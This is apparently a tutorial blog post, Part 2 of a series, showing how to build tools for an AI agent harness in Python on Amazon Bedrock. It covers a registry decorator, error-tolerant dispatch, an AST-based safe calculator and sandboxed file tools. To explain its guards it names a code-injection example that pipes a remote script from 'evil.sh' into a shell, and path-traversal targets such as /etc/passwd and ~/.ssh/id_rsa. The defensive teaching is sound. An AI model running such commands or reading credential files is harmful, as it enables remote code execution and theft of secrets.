In Part 1 we established the simple truth: LLMs can only produce text. The harness is the babysitter that turns that text into action.
Today we build the action part. The tools. The hands.
This is the fun chapter, by which I mean it’s the one where we voluntarily give a probabilistic text generator the ability to touch the filesystem and then act surprised when it tries to read /etc/passwd. All the code below is lifted straight from the repo — a single agent.py file you can clone and run. Strap in.
A Tool Is Two Things
Strip away the hype and a tool is rather simple. It’s two things:
- A description — name, what it does, what arguments it takes. This is for the model. It’s a menu.
- An implementation — the actual Python function. This is for your code. It’s the kitchen.
The model reads the menu and points. Your code goes into the kitchen and cooks. The model never sets foot in the kitchen, which is good, because the model thinks a stack trace is a type of pancake.
flowchart LR
subgraph menu["The menu — what the model reads"]
A["name: calculator\ndescription: evaluates math\ninput: expression (string)"]
end
subgraph kitchen["The kitchen — what your code runs"]
B["def calculator(expression):\n return _safe_eval(...)"]
end
A -.->|registry keeps these in sync| B
The single most annoying bug in agent development is when these two drift apart. You update the function to take a new argument, forget to update the description, and now the model calls your tool with the wrong shape. It fails. It tries again. Identically. Forever. Like a moth headbutting a porch light, except the porch light bills you per token.
So our first job is making drift hard.
The Registry: One Decorator, Three Bookkeeping Structures
I promised you a decorator pattern in Part 1. Here’s the real one. The idea: define a function and its schema in the same place, and register both the moment the file loads.
_TOOL_SPECS = [] # tool *descriptions* sent to the model
_TOOL_FUNCS = {} # name -> the real Python function
_STATEFUL_TOOLS = set() # names of tools that need per-session state
def tool(name, description, input_schema, stateful=False):
"""Register a function as a Bedrock-callable tool."""
def decorator(func):
_TOOL_SPECS.append(
{
"toolSpec": {
"name": name,
"description": description,
"inputSchema": {"json": input_schema},
}
}
)
_TOOL_FUNCS[name] = func
if stateful:
_STATEFUL_TOOLS.add(name)
return func
return decorator
Three structures, one decorator. People sell courses on this.
A couple of deliberate choices worth calling out:
- The
nameis explicit, notfunc.__name__. The model-facing tool name is decoupled from your Python identifier — rename the function freely without breaking the model’s mental model. - The schema is hand-written, passed straight in as
input_schema. Auto-generating JSON Schema from type hints is a real temptation, but it’s deferred to v2 in this project. v1 keeps the schema explicit and co-located, which is enough to kill drift: you physically cannot edit the function without staring at its schema two lines up. {"toolSpec": ...}and{"json": input_schema}are the envelopes Bedrock’s Converse API insists on. Every API has one weird ritual. This is theirs.
The input_schema itself is just JSON Schema — the model reads it to figure out what arguments to send.
Describing Tools to the Model
The model can’t use a tool it doesn’t know exists. So before each request, we hand Bedrock the whole menu via the toolConfig parameter:
def get_tool_config():
"""Bundle all tool descriptions into the Converse toolConfig payload."""
return {"tools": _TOOL_SPECS}
That’s it. Add a new @tool, and it shows up on the menu automatically. The loop doesn’t change. The config doesn’t change. You write a function and the agent gets smarter, or at least more dangerous.
flowchart TD
A["@tool decorator"] --> B["_TOOL_SPECS / _TOOL_FUNCS"]
B --> C["get_tool_config()"]
C --> D["Bedrock Converse\n(toolConfig param)"]
D --> E["Model now knows\nthe tool exists"]
Dispatch: Doing What You’re Told (and Refusing What You Can’t)
When the model decides it wants a tool, Bedrock returns a response with stopReason == "tool_use" and one or more content blocks, each carrying a toolUseId, a tool name, and an input dict.
The dispatcher looks the name up and calls the function. It has no opinions and no ambition, which makes it the most reliable employee you will ever have.
def dispatch_tool(name, tool_input, ctx=None):
func = _TOOL_FUNCS.get(name)
if func is None:
raise ValueError(f"Unknown tool: {name}") # model hallucinated a tool
args = tool_input or {}
if name in _STATEFUL_TOOLS:
if ctx is None:
raise ValueError(f"Tool '{name}' requires session context but none was provided")
return func(ctx, **args) # stateful: gets the Session first
return func(**args) # plain: just the JSON args
Notice it raises on an unknown tool rather than returning an error. That’s intentional, because of how the loop treats failure — which is the single most important pattern in the whole harness:
A tool failure is just more text for the model to read.
Here’s the relevant slice of the loop. Every tool call is wrapped, and any exception becomes a toolResult with status: "error":
try:
result = dispatch_tool(name, tool_input, ctx)
status = "success"
content = [{"text": str(result)}]
except Exception as e:
status = "error"
content = [{"text": f"Error: {e}"}]
tool_result_blocks.append(
{"toolResult": {"toolUseId": tool_use_id, "content": content, "status": status}}
)
The model divides by zero? Catch it, hand back "Error: ...", and the model goes “ah, my mistake” and adjusts. It invents a tool named do_the_needful? dispatch_tool raises Unknown tool, that becomes an error block, and the model feels a flicker of shame and tries something real. If you let exceptions propagate and kill the loop instead, you’ve built a very expensive way to print a stack trace. Errors are feedback, not funerals.
sequenceDiagram
participant Model
participant Harness
participant Tool
Model->>Harness: toolUse calculator("10 / 0")
Harness->>Tool: dispatch_tool(...)
Tool-->>Harness: raises
Note over Harness: try/except sets status=error
Harness->>Model: toolResult status=error, "Error ..."
Model->>Harness: "Sorry, you can't divide by zero."
The Tools Themselves
Let’s build them, in order of increasing danger — like a cooking show that ends with knife juggling.
get_current_time — Harmless
The model can’t read a clock. It will guess the time, confidently, and be wrong by anywhere from minutes to years. So we give it a watch.
@tool(
name="get_current_time",
description="Get the current local date and time in ISO 8601 format.",
input_schema={"type": "object", "properties": {}, "required": []},
)
def get_current_time():
return datetime.now().astimezone().isoformat()
No arguments. No risk. The most well-adjusted tool in the registry. We will not see its kind again.
calculator — Mostly Harmless (If You’re Careful)
You’d think math is safe. You’d be wrong, because the lazy implementation is eval(), and eval() on model-generated input is how you wake up to a cryptominer named after a Pokémon. So instead of evaluating the string, we parse it into an AST and walk it, allowing only arithmetic nodes:
_ALLOWED_BINOPS = {
ast.Add: operator.add, ast.Sub: operator.sub,
ast.Mult: operator.mul, ast.Div: operator.truediv,
ast.FloorDiv: operator.floordiv, ast.Mod: operator.mod,
ast.Pow: operator.pow,
}
_ALLOWED_UNARYOPS = {ast.UAdd: operator.pos, ast.USub: operator.neg}
def _safe_eval(node):
if isinstance(node, ast.Expression):
return _safe_eval(node.body)
if isinstance(node, ast.Constant):
if isinstance(node.value, (int, float)) and not isinstance(node.value, bool):
return node.value
raise ValueError(f"Unsupported constant: {node.value!r}")
if isinstance(node, ast.BinOp):
return _ALLOWED_BINOPS[type(node.op)](_safe_eval(node.left), _safe_eval(node.right))
if isinstance(node, ast.UnaryOp):
return _ALLOWED_UNARYOPS[type(node.op)](_safe_eval(node.operand))
raise ValueError(f"Unsupported expression element: {type(node).__name__}")
Any node type we didn’t explicitly allow — function calls, attribute access, names — falls through to raise. No __import__('os').system('curl evil.sh | sh') cosplaying as a math problem. The model gets to add numbers and nothing else, which is exactly as much trust as it has earned.
Stateful tools: create_plan, update_task, view_plan
Some tools need to remember things across calls. The planning tools let the model lay out a checklist and tick it off — but a checklist is useless if it evaporates between tool calls. So these tools are marked stateful=True and receive the session as their first argument:
@tool(
name="create_plan",
description="Break a multi-step task into an ordered list of steps. Call this "
"FIRST for any request that needs more than one action.",
input_schema={
"type": "object",
"properties": {
"steps": {"type": "array", "items": {"type": "string"},
"description": "Ordered list of step descriptions."}
},
"required": ["steps"],
},
stateful=True,
)
def create_plan(ctx, steps):
ctx.plan = [Task(i, desc) for i, desc in enumerate(steps, 1)]
return "Plan created:\n" + ctx.render_plan()
That ctx is a per-session Session object holding the conversation history and the plan. Plain tools never see it; stateful tools get it injected by dispatch_tool (that _STATEFUL_TOOLS set from earlier). It’s the difference between a tool that computes and a tool that accumulates. We’ll dig into the Session object — and the “soft termination guard” that nudges the model when it tries to declare victory with steps still unfinished — in Part 3. For now, just note the mechanism: one flag on the decorator decides whether a tool gets memory.
read_file, write_file, list_dir — Here There Be Dragons
Now the dangerous ones. Giving a model filesystem access is like giving a monkey a machine gun: technically it has no training on gun use, but you will be amazed and horrified at what it attempts. Same goes for humans.
The naive open(path).read() is a disaster waiting to happen — the model asks to read ../../../../etc/passwd, or ~/.ssh/id_rsa, and your “helpful blog assistant” is now a confused, well-meaning exfiltration tool. The model isn’t malicious. It’s worse than malicious. It’s helpful and has no concept of consequences.
So confinement is structural, not advisory. Every path is resolved to a real absolute path and rejected if it lands outside the sandbox:
SANDBOX_ROOT = "agent_workspace"
def _sandbox_root():
root = os.path.realpath(SANDBOX_ROOT)
os.makedirs(root, exist_ok=True)
return root
def _resolve_in_sandbox(path):
root = _sandbox_root()
candidate = os.path.realpath(os.path.join(root, path))
# os.path.join discards `root` if `path` is absolute, so absolute inputs
# resolve outside the sandbox and get caught right here.
if candidate != root and not candidate.startswith(root + os.sep):
raise ValueError(f"Path escapes the sandbox workspace: {path!r}")
return candidate
The load-bearing move is os.path.realpath: it collapses .. and follows symlinks before we check. So ../../etc/passwd, an absolute /etc/passwd, and a symlink pointing out of the sandbox all resolve to a real path that fails the startswith check. The model gets a ValueError, that goes back as text (errors are feedback), and the model, politely told no, moves on with its little artificial life.
read_file adds two more guards — a size cap and an encoding check — because “read a file” shouldn’t mean “stream me a 4 GB binary”:
@tool(
name="read_file",
description="Read a UTF-8 text file from the workspace. The path is relative to "
"the sandboxed workspace.",
input_schema={
"type": "object",
"properties": {"path": {"type": "string", "description": "Workspace-relative file path."}},
"required": ["path"],
},
)
def read_file(path):
target = _resolve_in_sandbox(path)
if not os.path.isfile(target):
raise ValueError(f"No such file: {path}")
if os.path.getsize(target) > MAX_READ_BYTES: # default 64 KB
raise ValueError("File too large")
try:
with open(target, "r", encoding="utf-8") as f:
return f.read()
except UnicodeDecodeError:
raise ValueError("File is not valid UTF-8 text")
write_file is where it gets genuinely interesting. Reading is one thing; letting a language model create files on your disk is another. So writes are gated by a confirm-once-per-session prompt — and because that gate state has to persist across calls, write_file is stateful:
@tool(name="write_file", description="...", input_schema={...}, stateful=True)
def write_file(ctx, path, content):
if not ctx.writes_approved: # the FIRST write asks a human
answer = input(f"Allow file writes to '{SANDBOX_ROOT}/' for this session? [y/N] ")
if answer.strip().lower() not in ("y", "yes"):
raise ValueError("User denied file-write permission.") # model sees this
ctx.writes_approved = True
target = _resolve_in_sandbox(path)
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, "w", encoding="utf-8") as f:
f.write(content)
return f"Wrote {len(content)} characters to {os.path.relpath(target, _sandbox_root())}"
A human approves the first write of the session; subsequent writes proceed. Deny it, and — you guessed it — the refusal becomes a tool error the model has to live with. (list_dir rounds out the trio: same sandbox resolution, lists a directory, marks folders with a trailing /. Harmless by comparison.)
flowchart TD
A["Model: read '../../etc/passwd'"] --> B["_resolve_in_sandbox()\nrealpath, collapse .., follow symlinks"]
B --> C{Inside the sandbox?}
C -->|No| D["ValueError\nback to model as text"]
C -->|Yes| E["read / write / list"]
D --> F["Model sighs, tries\nsomething legal"]
The Security Reality Nobody Puts in the Demo
Here it is, said plainly:
The model decides which tools run, and with what arguments. You decide what’s actually possible.
That sentence is the entire security model of every AI agent on earth. Every framework, every “autonomous” startup, every breathless LinkedIn post — underneath it all, something either sandboxed the tools or didn’t. There is no third option. There is no clever prompt that fixes an unsandboxed os.system. “Please don’t read sensitive files” is not an access control policy. It’s a prayer, and the model is an amoral atheist.
Your guardrails do not live in the prompt — they live in the code that runs the tool: the AST walk in calculator, the realpath check in _resolve_in_sandbox, the confirm-once gate in write_file. Validate inputs. Constrain scope. Resolve paths before you trust them. Assume every tool call is the model handing you a knife and asking you to hold it by the blade.
What We’ve Got
Wire it all together and the picture from Part 1 fills in:
flowchart TD
A["Agent loop"] --> B["get_tool_config()\nthe menu"]
B --> C["Bedrock Converse\nclaude-sonnet-4-6"]
C -->|model wants a tool| D["dispatch_tool(name, input, ctx)"]
D --> E{Known tool?}
E -->|No| F["raise, error block to model"]
E -->|Yes| G["run in try/except"]
G -->|raises| F
G -->|returns| H["toolResult success to model"]
F --> C
H --> C
A decorator that kills schema drift. A dispatcher that raises instead of crashing. Stateful tools that get memory from one flag. And a filesystem toolset where confinement is structural, not a polite request. One inviolable rule underneath all of it: the model proposes, the code disposes.
What’s Next
In Part 3, we get into session state and the plan — that Session object, why the agent re-injects the checklist into every request, the soft termination guard that won’t let the model fake “done,” and the slow financial bleed of a chatbot with a perfect memory and no sense of thrift. Memory is a feature and a liability, and the bill arrives either way.
This is Part 2 of a series on building an AI agent harness from scratch using Python and Amazon Bedrock. Grab the code and run it yourself — sandbox included, so you can hand the model a knife in the safety of your own workspace.
